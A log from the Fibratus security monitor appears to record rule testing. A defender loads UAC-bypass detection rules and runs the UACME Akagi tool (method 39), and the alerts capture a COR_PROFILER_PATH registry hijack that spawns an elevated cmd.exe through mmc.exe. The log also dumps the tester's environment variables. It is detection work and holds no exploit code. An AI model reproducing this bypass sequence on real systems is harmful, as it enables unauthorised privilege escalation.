"interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T15:00:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T15:00:58+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T15:01:38+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T15:01:38+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateFile, CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T15:01:38+01:00 level=info msg=bootstrapping with pid 20224. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T15:01:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true to=>[] content-type=>text/html port=>25] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false] + eventsource .................... [ buffer-size=>512 enable-threadpool=>false enable-mem=>false enable-fileio=>true enable-dns=>false enable-net=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-image=>true enable-handle=>false enable-audit-api=>true enable-registry=>true min-buffers=>16 flush-interval=>1s stack-enrichment=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 max-age=>0 log-stdout=>true max-size=>100 level=>info] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ template-name=>fibratus trace-log=>false healthcheck=>true enabled=>false flush-period=>1s bulk-workers=>1 sniff=>false healthcheck-timeout=>5s timeout=>5s gzip-compression=>false index-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200]] amqp=>[ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 enabled=>false vhost=>/ delivery-mode=>transient durable=>false routing-key=>fibratus timeout=>5s exchange-type=>topic exchange=>fibratus passive=>false] http=>[ endpoints=>[] enable-gzip=>false method=>POST tls-insecure-skip-verify=>false serializer=>json enabled=>false timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-files=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-mmaps=>false skip-registry=>false excluded-procs=>[] skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-26T15:01:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T15:01:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T15:02:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T15:02:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T15:02:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T15:04:23+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T15:04:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:04:23+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T15:04:23+01:00 level=info msg=bootstrapping with pid 19884. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T15:04:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false content-type=>text/html use-template=>true port=>25 to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-thread=>true enable-image=>true enable-mem=>false enable-dns=>false min-buffers=>16 enable-threadpool=>false enable-registry=>true enable-net=>true enable-fileio=>true stack-enrichment=>true flush-interval=>1s enable-vamap=>true buffer-size=>512 enable-audit-api=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 log-stdout=>true formatter=>text level=>info max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] serializer=>json method=>POST enabled=>false] amqp=>[ routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient passive=>false exchange-type=>topic vhost=>/ durable=>false enabled=>false url=>amqp://localhost:5672 timeout=>5s] elasticsearch=>[ trace-log=>false index-name=>fibratus enabled=>false gzip-compression=>false healthcheck=>true healthcheck-timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-interval=>10s timeout=>5s bulk-workers=>1 sniff=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s skip-mmaps=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-files=>false enabled=>false excluded-procs=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T15:04:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:04:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:04:34+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: |%1.registry.data| + Event(s): source=action/alert.go:37 +time=2025-11-26T15:04:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T15:04:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:04:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T15:05:11+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T15:05:11+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T15:05:11+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:150 +time=2025-11-26T15:05:11+01:00 level=info msg=bootstrapping with pid 14680. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T15:05:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ port=>25 enabled=>false content-type=>text/html use-template=>true to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false stack-enrichment=>true min-buffers=>16 enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-vamap=>true enable-registry=>true enable-mem=>false enable-dns=>false enable-threadpool=>false buffer-size=>512 flush-interval=>1s max-buffers=>36 enable-image=>true enable-thread=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 level=>info log-stdout=>true max-size=>100 max-backups=>15] + output ......................... [ http=>[ enabled=>false endpoints=>[] timeout=>5s serializer=>json method=>POST tls-insecure-skip-verify=>false enable-gzip=>false] amqp=>[ delivery-mode=>transient exchange-type=>topic enabled=>false url=>amqp://localhost:5672 passive=>false tls-insecure-skip-verify=>false routing-key=>fibratus exchange=>fibratus vhost=>/ timeout=>5s durable=>false] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ flush-period=>1s trace-log=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] gzip-compression=>false timeout=>5s healthcheck=>true bulk-workers=>1 healthcheck-timeout=>5s enabled=>false sniff=>false index-name=>fibratus template-name=>fibratus]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s skip-allocs=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-registry=>false fastscan=>true excluded-files=>[] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T15:05:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:05:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T15:05:21+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 2439087 + Pid: 12888 + Tid: 7452 + Type: RegSetValue + CPU: 6 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-26 15:05:20.2013879 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffa28073bbb660, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 12888 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:5cfaaa32-1199-4076-81f7-de1a936a430a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2439545 + Pid: 19524 + Tid: 7884 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-26 15:05:21.335405 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 318da4000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc48c9a8f4080, name➜ cmd.exe, pid➜ 16268, ppid➜ 19524, real_ppid➜ 19524, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-26 15:05:21.3353576 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 19524 + Ppid: 12888 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T15:06:18+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 2441447 + Pid: 15656 + Tid: 15876 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-26 15:06:17.3780456 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffa28073bbb660, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 15656 + Ppid: 7432 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: 